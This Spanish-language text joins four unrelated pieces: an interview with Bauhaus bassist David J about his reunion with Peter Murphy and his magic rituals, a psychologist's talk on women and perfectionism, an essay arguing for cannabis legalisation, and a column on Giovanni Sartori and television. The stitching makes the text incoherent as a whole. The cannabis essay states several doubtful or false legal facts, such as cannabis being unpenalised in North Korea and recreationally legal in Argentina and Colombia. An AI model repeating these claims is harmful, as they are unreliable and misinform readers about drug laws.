“En 2006, los cuatro Bauhaus terminamos de una forma muy, muy negativa. Y yo no quería ser el enemigo de nadie, así que los dos hicimos una videollamada por Skype y arreglamos un montón de cosas. Fue una charla muy importante, porque le puso un buen tinte a lo que vino. Desde que nos reencontramos todo fue muy genial y positivo. Estoy disfrutando al máximo”.

-Y lo viste en persona en México en abril de este año, el mismo día que tocaban. Imagino que fue divertido y loco al mismo tiempo.

-Sí, ensayamos sólo una vez en Guadalajara, y me abrazó y me dijo: “Me alegra que estés de regreso. Ahora estás atrapado de nuevo conmigo”. Le respondí: “Sí, así parece”. Nos metimos directamente en el set y hubo una gran química. Y los otros dos chicos, Marc Slutsky en la batería y John Andrews en la guitarra, son grandes músicos. Estamos alentándolos a que no copien los discos, sino que les pongan su propio carácter. Así que es una interpretación renovada, con una vida fresca. Especialmente con John, que es muy innovador y posee un estilo único.

-Sin meternos en lo privado, ¿qué cosas arreglaron durante esa charla de Skype?

-Bueno, le dije: “Peter, volvamos a la última vez que estuvimos juntos y veamos cuáles fueron los problemas”. No voy a entrar en detalles, pero los abordamos como personas adultas. Fuimos muy amistosos y hasta nos reímos de una manera muy “romántica”. Un fan nos dijo: “a veces, cuando hacés las paces descubrís gemas”.

-Entonces, para vos es cierto que el tiempo cura las heridas.

-Sí, totalmente. Y de algún modo lo necesitaba, porque ya hacía mucho que no tocaba esas canciones. Es interesante tener diferentes músicos. En mi tours solistas invito a artistas locales con todo tipo de instrumentos, que le dan una perspectiva distinta a la noche. Acá es lo mismo: tenemos a estos dos chicos que eran fans del grupo. Crecieron escuchando a Bauhaus, pero también son excelentes por mérito propio. Todo cierra.

Del otro lado de la línea, David J habla sobre su exgrupo con un cariño especial. Y es lógico: no sólo porque él le puso el nombre a la banda, sino porque escribió gran parte de las letras, como la de “Bela lugosi’s dead”, quizás la primera canción del rock gótico. El single, editado en 1979, les abrió las puertas a giras por toda Europa y los Estados Unidos.

La banda -que completaban Murphy en voces, Daniel Ash en guitarra y el hermano de David J, Kevin Haskins, en batería- sacó cuatro discos consecutivos entre 1980 y 1983: “In The Flat Field”, “Mask”, “The Sky’s Gone Out” y “Burning From The Inside”, con el que se despedirían… al menos por varias décadas.

-¿Y cuánto hace que no hablás con Daniel Ash?

-(Piensa). Justo nos mensajeamos de nuevo anoche, y retomamos la comunicación vía mensaje de texto. Es bastante divertido y amigable, también.

-Él y Kevin hicieron algo parecido: se juntaron hace unos meses bajo el nombre de Poptone. ¿Cómo te sentiste cuando lo viste? ¿Fue algo que te incitó a reunirte con Peter?

-No, no fue una motivación para nada. Realmente me gustaba Tones on Tail -su banda anterior-, pero Daniel no estaba muy contento. Y puedo entender por qué quieren salir y tocar esta música de nuevo: porque es atemporal. Cuando me enteré de que mi sobrina Diva estaba en el grupo, le mandé un mensaje dándole mi bendición y deseándole la mejor suerte. Me puso muy feliz ver a Daniel y Kevin juntos de nuevo, porque tampoco se habían hablado por años. No pude verlos en vivo, pero los videos fueron geniales. ¡De hecho, Peter y yo compartimos el mismo iluminador con ellos! Es Scott Simons, que también laburó con Love and Rockets (se ríe).

IN THE FLAT FIELD

Al margen de poseer una carrera jugosísima -cinco discos de estudio con Bauhaus, siete con Love and Rockets y una decena como solista- el que más importancia tendría para David J sería “In The Flat Field”. Definitivamente, uno de los primeros emblemas de la generación gótica y post-punk. Ese trabajo es el que Peter Murphy y él revisitarán en este tour, que los traerá al Teatro Vorterix el jueves y luego los llevará a recorrer el mundo con más de cuarenta fechas.

-El álbum tuvo muy malas críticas en 1980, pero fue un éxito en ventas. ¿Cómo reaccionaron internamente?

-Estábamos muy embroncados y con ira, porque sentíamos que habíamos creado un gran disco. Pero creo que “In The Flat…” se puso incluso mejor con el tiempo. Yo literalmente no lo había escuchado en décadas, y la única razón por la que lo oí este año fue porque íbamos a tocarlo de nuevo. Me sorprendió cuán original era. También me entusiasma porque a algunas canciones no las habíamos hecho nunca, y siempre me gustó eso de “revisitar” un disco de principio a fin. Hoy es bastante aclamado y fue muy influyente, así que estábamos adelantados a nuestro tiempo.

-¿Hubo algún tema en particular que hayas redescubierto?

-Bueno, me encanta la apertura con “Double dare”. Ya la habíamos grabado para el programa de John Peel en la BBC, y luego tratamos de hacer una mejor versión en los Southern Studios, pero no lo logramos. Había algo de magia en la toma en vivo, así que compramos la cinta. Le pertenecía a la BBC, y nos llevó un tiempo largo negociar con ellos. El disco se atrasó, y nosotros ya teníamos el tour anunciado… así que estábamos promocionando algo que aún no estaba en la calle (risas). ¡Demoramos todo sólo por un tema! Pero creíamos que tenía un feeling especial, y realmente funcionó muy bien. Fue número uno en los Alternative Charts. Otro que amo es “A God in an alcove”, que es muy especial y original por su ritmo sincopado.

-Peter Murphy contó que esta última habla sobre “el ocaso de las estrellas de rock”. ¿Los inspiró algún artista específico?

-No, nadie en particular. La compusimos a partir del cuentito del ídolo que tiene su momento de fama y luego es rechazado por todos. De ahí en más, el tipo se convierte en una figura ridícula que trata de volver a conseguir el éxito que había gozado.

-Para Bauhaus, “In The Flat Field” significaba escapar de lo mundano y lo religioso. Eso está presente en lo que decís, porque para muchos Dios es como un rockstar…

-Sí, sí. Dentro del disco hay un sentimiento enorme de liberación, de querer evadirnos. Es como la canción “Break on through (to the other side)” de The Doors. La idea era tener una vida intensa y llena de experiencias, corriéndonos del lugar donde vivíamos. Salimos de Northampton, una pequeña ciudad industrial en la que se hacían zapatos y era muy gris y plana, incluso miserable. Así que buscábamos huír de eso, y de ahí vinieron las canciones. En un sentido espiritual, queríamos plasmar la intensidad poética de la vida.

-Hablando de “Double dare”, lo extraño es que al margen de ser una grabación de la radio, suena muy coherente con el resto del disco. ¿Trabajaron mucho en la mezcla?

-Sí, pero en gran parte tiene que ver con el mastering. Cuando laburás en diferentes estudios pero conseguís un buen ingeniero, podés lograr que suene parejo. Nosotros tuvimos a uno de los mejores, John Dent -fallecido en 2017-. Ese tema suena un poco distinto, más neurótico, aunque funciona perfecto porque abre el álbum.

HECHIZOS Y CONJUROS

Durante la corta pero frenética vida de Bauhaus y el lapso que duró Love and Rockets (el mismo trío sin Peter Murphy), David J escribió diarios y tomó notas detalladas sobre lo que vivió en la ruta, los estudios de grabación y su vida personal. A partir de aquellas anotaciones redactó su primer libro, que se lanzó en 2014: “Who killed Mister Moonlight? Bauhaus, Black Magick and Benediction”.

En el texto, el bajista hizo un racconto de sus experiencias con celebridades -como el encuentro fortuito con Iggy Pop durante la primera gira de Bauhaus-, las drogas y sus acercamientos a la magia, con mentores como Genesis P. Orridge.

-¿Pensaste esos diarios para usarlos en un futuro, o sólo como recuerdos personales?

-Tenía una inclinación natural por escribir. No fui constante, era variable. Pero siempre tuve agendas, que fueron muy útiles para recordar lo que pasaba día a día. A esas pequeñas notas las combiné con los diarios y una línea de tiempo detallada de Andrew Brooksbank -historiador de Bauhaus-. Mi memoria también hizo un trabajo excelente, sino sólo hubieran sido anotaciones que decían “New York City” o “St. Marks”. Esas puntas le ayudaron a mi cabeza a rearmar la pintura completa.

-¿También escribías sobre tus experiencias con la magia?

-Sí, tengo diarios muy detallados de eso. Nunca practiqué magia negra porque es estúpido, pero si te metés en esto podés ser perjudicado por esas fuerzas. Fue una puerta de entrada para mucha gente, no sólo para mí, sino también para Genesis P-Orridge. Su estilo siempre fue del camino de la “mano izquierda”, que no está dentro de la magia blanca.

-¿Por qué en el libro decís que tu magia es “no tan blanca”?

-Porque la que es 100% pura se usa para la ilustración espiritual de cada uno, y yo a veces la utilicé por razones prácticas, para modificar mi entorno y ayudar a que se dieran algunas situaciones. Nunca le hice daño a nadie, eso sería la magia negra. Mis prácticas están llenas de amor, positivismo y logro espiritual. Una vez, por ejemplo, necesitaba vender mi casa y armé unos rituales. También hice un hechizo para que Bauhaus se reuniera en 1998 y creo que, en parte, nos juntamos por eso.

-¿Y preparaste algo para que ahora se diera el reencuentro con Peter?

-No, esto fue natural (risas).

-Quizás él hizo uno por su lado…

-¡Capaz! (más risas). A veces son cosas sutiles, inconscientes, intenciones que tenés en la cabeza. O sea, en mi mente quería reconciliarme con Peter. A veces, si sos fuerte con deseos como esos, ni siquiera tenés que aplicar hechizos. Es difícil de describir, pero si querés algo fuertemente, sin saberlo actuás de una forma distinta, y una secuencia de eventos te llevan a alcanzarlo. Yo realmente quería que se diera la reunión de este año, ¿así que quién sabe? Puede haber habido un elemento mágico, pero no fue concreto como hace dos décadas.

-¿Y en qué consistió el ritual para reunir a Bauhaus en 1998?

-Fue complejo. Tuve que usar el esqueleto de un cordero, que apareció en la tapa de la segunda edición de mi libro. Intuía que iba a necesitar algo y que sería eso. No sabía por qué, simplemente seguí mi impulso. En 1994 estábamos girando con Love and Rockets por Inglaterra, en un área semi rural, y salí a caminar. Fui a un cementerio que tenía una mansión victoriana al lado. Ahí encontré, arriba de una mesa, el cráneo de un cordero. En ese instante supe que me pertenecía. Llamé a la puerta de la casa, que era como las de las películas de terror y tenía una cadena en lugar del timbre. Una señora mayor salió y le dije: “Perdón por molestarla, pero estoy interesado en ese cráneo. Necesito uno y me pregunto si puedo comprárselo”. Me respondió: “Es de mi hija, es artista y está pintándolo. Le voy a preguntar cuando regrese. ¿Podés volver mañana a las cuatro de la tarde?”. Al día siguiente me recibió su hermano, que me dijo: “Ella quiere que lo tengas vos, porque cree que te pertenece”. Así que me lo dio sin siquiera conocerme: la chica también lo había presentido.

-¡Wow!

-Luego lo usé como la pieza central de mi altar, para hacer ese trabajo ritualístico y juntarnos con Bauhaus en paz, luminosidad y amor. Básicamente, para que hiciéramos música de nuevo. Y sucedió.

-Muy profundo. ¿Para rematar tu propiedad usaste un proceso similar?

-No, eso se llama magia del sigilo, y se da cuando escribís una intención en un papel de la forma más simple. En mi caso, sólo puse: “quiero vender mi casa”. Después sacás las letras que se repiten, y con las que quedan hacés un símbolo que represente tu deseo. Luego lo memorizás, lo prendés fuego para que se vaya al universo y tratás de olvidarte del ritual. Mientras lo llevás a cabo, es importante que establezcas la intención y te concentres con fuerza. Es extraordinariamente efectivo. La primera vez que lo probé fue durante la grabación de “Burning From The Inside” (1983), de Bauhaus. Estaba leyendo a William Burroughs y también cosas de magia, como textos de Genesis P-Orridge y artículos sobre el sigilo. Moría por conocer a Burroughs, entonces escribí “quiero conocer a William Burroughs” e hice lo que te conté: lo prendí fuego y me lo olvidé. Seis meses después, realmente de la nada, me llegó una invitación para tocar en el Opera House de Toronto. Era la fiesta de sus setenta años, y él iba a estar leyendo. ¡Así que funcionó! Lo conocí esa vez y luego me lo crucé otras tantas. ¿Lo irónico? Que él siempre fue un entusiasta de la magia.

EL VÍNCULO CON EL MÁS ALLÁ

-El año pasado contaste que todavía mantenés una relación con los dioses del inframundo. ¿Cómo la describirías?

-Para mí, Hécate -deidad mitológica- es una guía, vidente e inspectora. Tiene cualidades muy fuertes, y es una diosa no negativa. Obvio que se relaciona con la pérdida y la muerte, pero pasando por el enfoque de la vida y no como algo terrible, sino parte del camino. Ella quiere que se interprete así. Es la diosa de la brujería y una fuerza muy presente en mi día a día. Muchas veces también es demandante. Aunque ya no practico magia ritualística, sigo sintonizado con ese mundo. Trato de honrarla, y cada tanto necesito hacer algunos sacrificios. Es muy difícil resignar lo que amo, pero cuando lo logré me lo reconoció inmediatamente, con señales y validaciones. Fue muy impresionante.

-¿Por qué creés que todos los dioses nos piden que sacrifiquemos algo?

-(Piensa). Porque es una demostración de una dedicación seria y de respeto, creo.

-¿Y de qué manera te conectás con ellos?

-Con un objeto que me dio una chamán mexicana. Sin decirle nada, la mujer me contó que yo había sido un cura de Hécate en vidas pasadas, hace cientos y cientos de años. Así que la vieja Diosa y yo tenemos una historia (risas). Me entregó una hermosísima bola de cristal para que me comunicara. Es grande, y me dijo que para activarla debía encontrarle una estructura metálica en la que quedase parada. Justo tengo a un amigo que construye muy bien, así que me hizo un aparato muy inteligente que se puede abrir y doblar. Cuando pongo la bola de cristal adentro, queda rodeada por varios círculos. Todo eso está en mi escritorio. El tres se asocia con ella, así que la invoco tres veces a diario. Es un número muy significativo y un pequeño ritual que tengo cuando estoy en casa.

-¿Y cómo vas a hacer cuando vengas a la Argentina?

-Malena, la misma chamán, me dio un amuleto que siempre llevo conmigo. También lo uso en el escenario, y de hecho me lo puse en Guadalajara -la primera fecha de la gira con Peter Murphy, en abril de 2018-. Lo tengo en todos los recitales y me protege bastante. En realidad representa el árbol de la vida de la kabbalah, es un símbolo holográfico del todo, y Hécate está comprendida en eso. Para el show ensayamos temas de muchos discos aparte de “In The Flat Field”, y creo que van a variar un poco cada noche. Amo Buenos Aires y realmente me enamoré de la ciudad cuando fui con Love and Rockets en los ‘90. Me sorprendió cuán europea era la arquitectura, muy interesante y enigmática. Por cierto… ¿tenés lugares misteriosos para recomendarme?

Peter Murphy y David J celebrarán los cuarenta años de Bauhaus el jueves 11 de octubre en el Teatro Vorterix (Av. Federico Lacroze 3455, Buenos Aires). Las entradas se consiguen a través de AllAccess.

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Perfección

Cuando hicieron la invitación a la asociación para impartir una plática en este evento, me preguntaba de qué forma podría empezar a hablar frente a un público de mujeres. Me di cuenta que la respuesta era obvia y creo que la mejor manera de empezar a hablar frente a ustedes es aludiendo a aquello que nos une en este momento y es el ser mujer. Pero al menos para mí esta palabra no viene sola porque, en mi experiencia, ha sido a partir de escuchar historias de otras mujeres que he podido asimilar y construir lo que esto significa.

Mi nombre es Ileana, tengo 27 años y soy psicóloga terapeuta. A diario atiendo a mujeres que viven o han vivido una situación de violencia. Y conforme escucho sus experiencias he podido darme un panorama general de la situación de desigualdad que vivimos las mujeres en la actualidad y de las trampas culturales en las que nos vemos constantemente envueltas. Confieso que esta labor ha sido en momentos difícil, pero no lo haría de otra forma. Ahora soy más consciente y al serlo también me siento más libre.

Es por eso que me gustaría hablar en especial de una de las trampas culturales más comunes :

La de la perfección.

Se nos ha exigido ser buenas madres, buenas esposas, buenas amas de casa, buenas hijas de familia y cada vez más buenas trabajadoras.

En una ocasión escuche en la radio cuando hablaban sobre la desaparición de Mara antes de que fuera asesinada, que una mujer se refería a ella diciendo que al parecer era una niña bien, una buena hija de familia. Este comentario en apariencia inofensivo me resulto en realidad bastante perturbador, porque me hizo pensar que la vida de una mujer solamente vale en cuestión de que tan buenas seamos, pero sobre todo de que tan buenas seamos para los otros. La pregunta es ¿qué significa ser buena? y ¿quién lo determina?

Pero no hay que ir tan lejos para responderlo, las propias mujeres nos hacemos custodias de esa perfección, un ejemplo son las suegras quienes se encargan de corregir a la mujer constantemente para que no se salgan de su papel de mujer buena para su hijo. Mientras que eximen de todas sus responsabilidades al hombre, simplemente porque no es un adjetivo que pueda asociarse a ellos. Es decir, los hombres van a ser hombres al fin de cuentas.

Hoy en día tenemos una sobrecarga de responsabilidades, una paciente que acude al centro de atención, tiene que coordinarse entre absorber toda la responsabilidad de sus hijos, trabajar y aparte llevar su asunto legal en contra de su marido, quien la agredió físicamente.

Pero lo curioso es que aún así insisten en tratarnos con condescencia, como si debiéramos cuidarnos de nosotras mismas, como si fueramos un peligro para nosotras. Entonces la obra se presenta de la siguiente forma: nos ofrecen un puesto importante, lleno de responsabilidades y retos, como lo es ser madre, esposa, hija y trabajadora, y aun así ellos y/o ellas siguen insistiendo en poner la reglas y decir cómo habremos de hacerlo.

El problema se complica cuando la perfección lleva a su vez un síntoma aliado, la culpa, y de esta forma se completa el sometimiento. Porque ya no hace falta que el otro nos diga lo mal que estamos, basta con mirar hacia adentro y encontrar un sin fin de cosas que terminamos cargando en nuestro cuerpo cansado, exhausto de tantas exigencias imposibles de cumplir.

Entre tanta perfección es difícil que lleguen y lleguemos a vernos realmente como somos. Porque se nos olvida que ante todo somos humanas con una historia única, somos nuestras propias necesidades, deseos, anhelos, pero también somos nuestro cansancio, errores y hartazgo.

Lo que me lleva a hablar del siguiente asunto…

La idea de ser siempre ha sido en relación a alguien más. En la medida en la que demos al otro mejores seremos. Miller (1996) dice que “se nos enseña que es mejor dar que recibir, que cuando demos, recibiremos más de lo que hemos dado” (p.91). Es por eso que muchas veces nos definimos a partir de lo que damos, lo que al final se revierte contra nosotras porque terminamos cediendo gran parte de lo que somos.

¿Pero que es eso que cedemos a los demás? Nuestro tiempo, nuestro espacio, nuestros logros, nuestros sentimientos, nuestra capacidad para razonar y nuestro cuerpo.

Me gustaría ahondar un poco más en esto último y para eso les contaré una experiencia personal.

En una ocasión entre sola a un restaurante y unos hombres me empezaron a mirar de arriba a abajo. Pedí algo de tomar, me senté en una mesa y su mirada seguía puesta en mi. Al final dijeron con cierto recelo y osadía -no sé por qué hoy en día las mujeres eligen estar tan delgadas, como si creyeran que así nos van a gustar.- Sin medir su volumen de voz y con una copa en la mano se sintieron capaces de juzgar mi cuerpo, de reprocharlo y decir qué era lo más adecuado para ellos.

Esto me recuerda a una frase de Marcela Lagarde:

La base del ser para otros es ser cuerpo para otros, cuerpo erótico para el placer de otros, cuerpo estético para el goce de los otros; cuerpo nutricio para la vida de los otros, cuerpo procreador para la vida de los otros. Las mujeres en el mundo patriarcal son valoradas, reconocidas, solo y siempre que sean cuerpo para otros.

Porque… ¡claro! una mujer siempre está a la espera de que le digan quién debe ser y sobretodo a partir de su cuerpo, como si cada una de nosotras debiera ser vista por una mirada masculina para empezar a ser. *tono sarcástico*

Sin embargo, ese momento no me afectó como lo esperaba. En cambio se hizo más fácil para mi entender la situación. Ya no era yo quien me estaba diciendo eso como muchas veces antes lo hice, entendí claramente de dónde provenía todas esas autoexigencias.

En ese momento supe que si yo no estaba de mi lado, nadie más lo iba a estar. Que si yo no aprendía a verme con mis propios ojos utilizaría las únicas formas disponibles en la sociedad para verme, como lo es el reducir nuestro cuerpo a un mero objeto sexual. Desde entonces he intentado repetirme lo que mi madre me dijo un día cuando sentía una ansiedad extrema por mi físico. -Eres más que eso- y ahora intento respirar aliviada al sentir la profundidad que hay en mi. Porque como decía en el principito: “Solo se ve bien con el corazón, lo esencial es invisible a los ojos.” Hay que sentirse para poder verse.

Así que les pregunto -¿Con que ojos se ven a ustedes mismas?-

El tratamiento psicológico con mujeres que viven violencia, me ha exigido poner a revisión mi propio sentido de ser mujer para ayudarlas, por lo que tenido que confrontarme ante mis ideas, mis creencias y se ha hecho evidente aquello que daba por hecho, tanto mis privilegios como limitaciones en el ejercicio de ser mujer. Pero tambien me he atrevido a poner la mirada todavía más lejos, en lo que deseo para mi y para otras mujeres, en un porvenir en en el que podamos definirnos a nosotras mismas. Lo mismo han tenido que hacer otras mujeres que nos preceden y que han marcado un camino para que el día de hoy nos abramos al diálogo y nos repensemos. Porque creo que lo más peligroso en el hecho de hablar sobre nuestra identidad como mujeres es actuar nuestro papel sin detenernos a pensarlo. Necesitamos saber quiénes somos, quienes han sido otras pero igualmente quienes queremos ser. Para esto es necesario un “desdoblamiento crítico de nuestra identidad tradicional.” (Largarde, 2000). Porque de lo contrario corremos el riesgo de repetirnos. Si nosotras no empezamos a decir lo que somos, no faltará alguien que en detrimento de su poder venga a decírnoslo como lo han hecho antes, a veces con devaluaciones: "tú no puedes", "sin mi no vas a poder salir adelante"; otras veces con frases deterministas "pero tú eres mujer", cuando llegamos a cuestionarlos de por qué ellos hacen ciertas cosas y nosotras no podemos hacerlas; y otras mucho más sutilmente con la apariencia de cuidado y protección "lo hago por tu bien" que solo termina frenando nuestro desarrollo y curiosidad.

Es por eso que hoy les pregunto ¿quiénes somos?

Somos fortaleza más no perfección. Porque para ser fuertes necesitamos saber poner nuestros propios límites.

No tenemos un cuerpo, somos cuerpo. Sartre decía "no puedo avergonzarme de mi propio cuerpo porque existo en él, es mi cuerpo para las otras personas lo que me avergüenza." Es por eso que propongo que nos hagamos de nuestro propio cuerpo, no como una propiedad objetivizada sino como una experiencia del sí mismo.

Kepner dice que cuando hacemos de nuestra experiencia corporal un "eso" en vez de un "yo" nos hacemos menos de lo que somos. Nos disminuimos. Mientras más hemos separado nuestra identidad de la propia experiencia corporal, más cosas "parecen sucedernos" en vez de que las hagamos suceder.

Y por último somos nuestra propia libertad. Como Simone De Beauvouir escribió: Que nada nos defina. Que nada nos sujete. Que sea la libertad nuestra propia sustancia.

Dicho todo esto nos recomiendo revisar y reconocer nuestra experiencia corporal: lo que sentimos, lo que deseamos, lo que nos duele, lo que necesitamos, lo que nos excita y también debemos cuidarnos, reconocer nuestros límites, decidir lo mejor para nosotras.

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Cannabis uso medicinal

La marihuana es un término genérico empleado para denominar a los cogollos de esta planta, que son su órgano reproductivo femenino, y al hachís (su resina), glándulas de resina de la flor, que contiene las concentraciones más altas de tetrahidrocannabinol (THC). 

México: El Tribunal Supremo de México aprobó este miércoles la legalización del cultivo y el uso de marihuana con fines personales y recreativos. 

 La regulación y la comercialización de la misma no han incidido en el aumento de consumo de los Latinos.

En el siguiente ensayo presentaremos datos oficiales acerca de la regulación de países donde está legalizada la marihuana y como en México está la situación actual acerca de la regulación del cannabis.

En América Latina ya son varios los países donde el consumo de la hierba es legal en países como Uruguay, Colombia, Argentina.

Holanda: El consumo y compra están permitidos en pequeñas cantidades.

Corea del Norte: La venta y consumo no es penalizado por la ley.

Portugal: En 2001 se convirtió en uno de los países pioneros en la despenalización por consumo de la hierba.

Canadá: Primer país en regular el consumo de marihuana para uso medicinal.

Barcelona: Única ciudad de España con clubes sociales para consumo de marihuana. 

Estados Unidos: Solo en Colorado, Washington, Alaska, Oregón y el distrito de Columbia es legal el uso recreativo de la marihuana. 

Bélgica: Despenalizó su consumo pero ofrece multas a quien consuma la droga en la calle y espacios públicos.

Suiza: Todo mayor de 18 años puede tener hasta 10 gramos de esa hierba.

Jamaica: País caribeño que aprobó una ley que despenaliza la posesión de pequeñas cantidades de cannabis. (Telesur- 4 Noviembre 2015)

 El país se analizó y se recaudó información verídica sobre de las razones de que en México y otros países  se debe de permitir la Marihuana.

La marihuana es un tema muy discutido en diferentes partes del mundo, puede ser de forma medicinal o recreación  para algunos es una amenaza y es considerado como un tema muy complicado. Para muchos la marihuana de forma medicinal e incluso de forma recreativa  es un tema que es muy importante, ya que de ellas puede depender la salud de algunas personas o en otros casos la relajación. Nosotros les presentaremos argumentos a favor de la marihuana y porque consideramos que debería ser legal en el país tanto como en otros lugares del mundo.

México aprueba el uso medicinal de la marihuana

La Cámara de Diputados autorizó el  28 de Abril del 2017 el uso medicinal y científico de la marihuana en México al aprobar, con 301 votos a favor, 88 en contra y dos abstenciones, las reformas del Senado a la Ley General de Salud y al Código Penal Federal. (El País- 28 Abril 2017)

La mariguana es la droga más consumida a nivel mundial según la Organización de las Naciones Unidos (ONU). En 2013 habían 180.6 millones de consumidores de cannabis en el mundo. En México, 1.2 por ciento de la población de entre 12 y 65 años consume esta droga, según datos de 2011. (Stephanie Cuevas y Mónica Rodríguez, El Financiero- 04.11.2015)

El dictamen elimina la prohibición y penalización por el uso medicinal de la marihuana y la investigación científica, así como los derivados de su producción y distribución con estos fines, indicó el Legislativo en un comunicado.

Con las reformas, se establece al tetrahidrocannabinol "como una sustancia psicotrópica con valor terapéutico" que no representa un problema de salud pública cuando sus concentraciones de los isómeros indicados en la ley sean menores o iguales al 1 % (El País- 28 Abril 2017)

El senador Francisco Salvador López Brito, del conservador Partido Acción Nacional (PAN), celebró que México esté hoy a un paso de establecer el uso terapéutico de la marihuana "en beneficio de la salud de los mexicanos". (12 Abril 2017)

De acuerdo a lo anteriormente expuesto se considera que hoy en día la gente es más abierta a este tipo de temas y sabe la importancia que tiene la marihuana para el uso medicinal, es mejor hacer uso de esta planta para que México avance en sus investigaciones y se pueda saber más a fondo los beneficios de esta planta y su regulación.

“El cannabis medicinal tiene una utilización milenaria y cuanta con muchos beneficios terapéuticos, se conocen como bondades en todo lo que es el dolor y mejorías en ciudadanos paliativos” (Magdalena calos, Neurólogo de la comisión de salud 10 de Junio 2017)

“A partir de hoy queda autorizado en el DOF el uso médico de la mariguana en México, pero no para la recreación”, aseveró el funcionario federal y el titular de la Comisión Nacional contra las Adicciones (Conadic), Manuel Mondragón y Kalb, informó que este martes 2 de junio del 2017 se publicó en el Diario Oficial de la Federación (DOF) el decreto que legaliza el uso de la mariguana para uso terapéutico.

Se puede decir que en día México está tomando abiertamente el tema sobre la regulación del consumo del cannabis y los debates son menos complicados y cerrados ya que en el pasado no se podía abrir un debate acerca del cannabis.

 La gente ha tomado más conciencia de este tema y como también los pacientes opinan acerca de esta práctica.

De acuerdo a datos oficiales se da a conocer que el 68% de los mexicanos están a favor del uso del cannabis para fines medicinales, este dato es parte de los resultados oficiales de la encuesta que se realizó en México la organización internacional con sede en Gran Bretaña, Global Drug Survey (GDS)

Anteriormente en México más del 50% de la población estaba en contra pero ahora el 68%  está de acuerdo de la legalización de la marihuana, 7 de cada 10 opinaron que es bueno que se legalice  y que se debería ser menos complicado y más accesible.

 México ha evolucionado en lo político social y económico lo que permite hoy en día la apertura ideológica de la diferente capas sociales que sin duda las decisiones que se tomen en conjunto a través de la legalidad sean las más acertadas como el caso del presente análisis a la marihuana

Bibliografía

B. (2017, November 26). MARIHUANA - ¿Qué es marihuana? - significado, definición, traducción y sinónimos para marihuana. Retrieved November 26, 2017, from https://boletinagrario.com/ap-6,marihuana,913.html

E. (2017, April 29). México aprueba el uso medicinal de la marihuana. Retrieved November 26, 2017, from https://elpais.com/internacional/2017/04/29/mexico/1493419178_321134.html

Cide, P. (n.d.). Consecuencias de la legalización de la mariguana en California. Retrieved November 26, 2017, from http://www.animalpolitico.com/blogueros-el-dispensario-dialogo-sobre-drogas/2017/02/23/consecuencias-la-legalizacion-la-mariguana-california/

Mexicanos prefieren marihuana por la noche. (2017, May 28). Retrieved November 26, 2017, from http://www.eluniversal.com.mx/articulo/nacion/seguridad/2017/05/28/controlado-consumo-de-cannabis-en-mexico-es-responsable

Rodríguez, S. C., & Cuevas, S. (2015, November 04). 10 datos que debes saber sobre la mariguana en México y el mundo. Retrieved November 26, 2017, from http://www.elfinanciero.com.mx/nacional/10-datos-que-debes-saber-sobre-la-mariguana-en-mexico-y-el-mundo.html

(Magdalena calos, Neurólogo de la comisión de salud 10 de Junio 2017)

[albertomansueti]

Vivir sin entender

Alberto Mansueti

“A los pocos meses de las elecciones, caen la aprobación y la popularidad del Presidente en las encuestas… “ Este titular, más o menos, se repite en la prensa de ocho países: Guatemala, Perú, Uruguay, Argentina, España, Francia, EEUU, y Canadá (con Primer Ministro). Con ocho figuras, de distintas sectas políticas: Morales, Kuckzynski, Vázquez, Macri, Rajoy, Macron, Trump, y Trudeau.

Los encuestadores dicen: “el Presidente (o Premier) X no satisfizo las expectativas, incluso las de quienes votaron a su favor, hace unos meses.” Es una descripción; no una explicación.

¿Y cuál es la explicación? Simple: las expectativas eran irrealistas, y por lo tanto, imposibles de satisfacer. Expectativas todas iguales: mejoras sustanciales, pero sin reformas de fondo. En el país que sea, candidato que prometió prosperidad y bienestar, pero sin cambiar el sistema, fracasó.

Preguntas: ¿Por qué hicieron promesas que no podían cumplir? ¿Y por qué tanta gente les creyó?

Respuestas hay en los libros del brillante politólogo Giovanni Sartori, fallecido este año, a sus 92. Siempre lo recomiendo, porque no era liberal, más bien socialdemócrata; y no era cristiano, más bien escéptico o indiferente. Pero, su preferencia por la democracia representativa de partidos, encaja a la perfección en el marco “republicano” del liberalismo clásico; y su idea de “capital axiológico”, también encaja perfectamente en una cosmovisión cristiana de la sociedad.

Sus ecritos eran todos “políticamente incorrectos”. Uno de sus libros, “Homo Videns”, de 1998, hizo mucha roncha porque mostró los pésimos efectos de la televisión en la sociedad, y en la democracia.

Lo que hace el votante, explica Sartori, es votar sin entender. Vota por tal o cual candidato, sin saber nada de las cuestiones políticas o económicas de fondo, involucradas en una elección, y en un sistema político. Vota según criterios obtusos, baladíes, incluso hasta frívolos, “tele-guiado” por las imágenes sensibleras o truculentas que le muestran a diario en la pantalla. Y los políticos han dejado de lado sus responsabilidades, y se han dejado llevar y traer por los criterios absurdos y cambiantes de un gran público ganado por las emociones y no por las razones.

La televisión sustituye la cultura de conceptos por una de puras imágenes, que la audiencia ve sin entender. Es más: vive sin entender. La tele-cultura ha producido un deterioro en la capacidad de entender. Sartori explica: hay palabras concretas y abstractas. Palabras, o sea conceptos concretos, son los de perro, gato, mesa y silla; cosas que pueden representarse con imágenes. Los niños pequeños usan sólo estas palabras concretas, el vocabulario de orden práctico. También los primitivos.

Así es como la televisión nos puede hacer retroceder a la infancia, y llevar a una nueva Edad de Piedra cultural, pero muy tecnologizada.

Porque para poder entender la sociedad, la economía, la política y la democracia, se requieren palabras o conceptos abstractos, como p. ej. los de justicia, legalidad, libertad, igualdad, derechos, etc., los cuales no pueden ser representados gráficamente sin distorsionarlos. Por eso la masa no los entiende, y por eso los políticos los evitan, proyectando sólo imágenes, y rebajan su propio vocabulario hasta el nivel de la capacidad de comprensión de la masa, que es cada vez menor.

En este punto de partida, Sartori coincide con Ayn Rand. “Una imagen reemplaza a mil palabras” es una afirmación falsa, porque la imagen no pueden ocupar el lugar de los conceptos abstractos, ni por tanto de las explicaciones, de los argumentos y demostraciones, que requieren el uso de conceptos abstractos, de la facultad racional, de la información bien calibrada, de la ahora denostada cultura “libresca” (de la palabra escrita), de la lógica y el buen sentido; elementos hoy desaparecidos de la escena política.

Cada concepto, incluso concreto, es producto de un proceso de abstracción, a partir de mil cosas concretas; por eso lo cierto es lo contrario: una palabra, “perro”, reemplaza a las imágenes de mil perros. Así es. Salvo que se quiera mentir: eso es mucho más fácil con imágenes que con palabras.

